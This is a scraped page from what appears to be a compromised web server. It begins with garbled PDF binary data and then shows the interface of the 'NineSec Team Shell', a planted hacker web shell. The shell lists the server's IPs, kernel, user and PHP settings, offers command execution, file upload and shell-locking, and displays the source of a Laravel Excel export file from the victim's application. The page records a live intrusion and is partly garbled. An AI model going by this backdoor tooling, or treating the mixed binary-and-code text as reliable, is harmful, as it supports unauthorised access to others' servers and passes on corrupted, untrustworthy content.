%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.126.98
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0775) :  /var/www/html/lfx/app/Exports/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/www/html/lfx/app/Exports/pendampingExport.php
<?php
namespace App\Exports;
use Illuminate\Http\Request;
use App\pendamping;
use Illuminate\Contracts\View\View;
use Maatwebsite\Excel\Concerns\FromView;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\ShouldAutoSize;
use Maatwebsite\Excel\Concerns\WithEvents;
use Maatwebsite\Excel\Events\AfterSheet;
class pendampingExport implements FromView,ShouldAutoSize,WithEvents
{
    use Exportable;

    public function registerEvents(): array
    {
        return [
            AfterSheet::class    => function(AfterSheet $event) {
                $cellRange = 'A1:AG2'; // All headers
                $event->sheet->getDelegate()->getStyle($cellRange)->getFont()->setSize(14);
                $styleArray = [

                    'alignment' => [
                        'vertical' => \PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
                        'horizontal' => \PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT,
                    ],
                    'borders' => [
                        'allBorders' => [
                            'borderStyle' => \PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN,
                            'color' => ['argb' => '00000000'],
                        ],
                    ],
                ];
                $event->sheet->getDelegate()->getStyle('A1:AG'.$event->sheet->getDelegate()->getHighestRow())->applyFromArray($styleArray);
                $styleArrayB = [
                    'alignment' => [
                        'horizontal' => \PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER,
                    ]
                ];
                $event->sheet->getDelegate()->getStyle('A1:AG2')->applyFromArray($styleArrayB);
                if (isset($event->sheet->getDelegate()->getMergeCells()['A3:AG3'])) {
                    # code...
                    $event->sheet->getDelegate()->getStyle('A3:AG3')->applyFromArray($styleArrayB);
                }else{
                     $event->sheet->formatColumn('C',\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT);
                     $event->sheet->formatColumn('D',\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT);
                     $event->sheet->formatColumn('I',\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT);
                     $event->sheet->formatColumn('J',\PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT);
                     $event->sheet->formatColumn('W','#,##0" Orang"');
                     $event->sheet->formatColumn('X','"Rp "#,##0.00_-');
                }

            },
        ];
    }
    public function view(): View
    {
    	ini_set('max_execution_time', 0);
    	//For Get All Data
    	$data['data'] = pendamping::selectRaw("pendamping.*,user.last_login")->join('user','user.id','user_id')->get();

    	//Set limit per page
    	$limit = 20;
        if (\Request::has('limit')) {
            # code...
            $limit  = \Request::input('limit');
        }

        //For Export per page
    	if (\Request::has('page')) {

    		$data['data'] = pendamping::selectRaw("pendamping.*,user.last_login")->join('user','user.id','user_id')->paginate($limit);
    	}
    	//For Export per page with search
    	if (\Request::has('search') and \Request::has('page')) {
            # code...
            $where=\Request::input('search');
            $data['data'] = pendamping::where('nama','like',"%$where%")
                                ->orWhere('no_ktp','like',"%$where%")
                                ->orWhere('email','like',"%$where%");
            if (\App\regencie::where('name','like','%'.$where.'%')->count() > 0) {
                # code...
                foreach (\App\regencie::where('name','like','%'.$where.'%')->get() as $regency) {
                    # code...
                    $data['data'] = $data['data']->orWhere('regency_id',$regency->id);
                }
            }
            $data['data'] = $data['data']->paginate($limit);
            $data['data']->withPath(url()->current().'?search='.$where.'&limit='.$limit);
        }

    	//For Export with search without page
    	if (\Request::has('search')) {
            # code...
            $where=\Request::input('search');
            $data['data'] = pendamping::where('nama','like',"%$where%")
                                ->orWhere('no_ktp','like',"%$where%")
                                ->orWhere('email','like',"%$where%");
            if (\App\regencie::where('name','like','%'.$where.'%')->count() > 0) {
                # code...
                foreach (\App\regencie::where('name','like','%'.$where.'%')->get() as $regency) {
                    # code...
                    $data['data'] = $data['data']->orWhere('regency_id',$regency->id);
                }
            }
            $data['data'] = $data['data']->get();
        }
        //for search by city id
    	if (\Request::has('search') and (\Request::has('by') and \Request::input('by') == 'kota' ) ) {
            # code...
            $where = \Request::input('search');
            $data['data'] = pendamping::where('regency_id',$where)->get();
        }
        return view('exportExcel.dataPendamping', $data);
    }
}

NineSec Team - 2022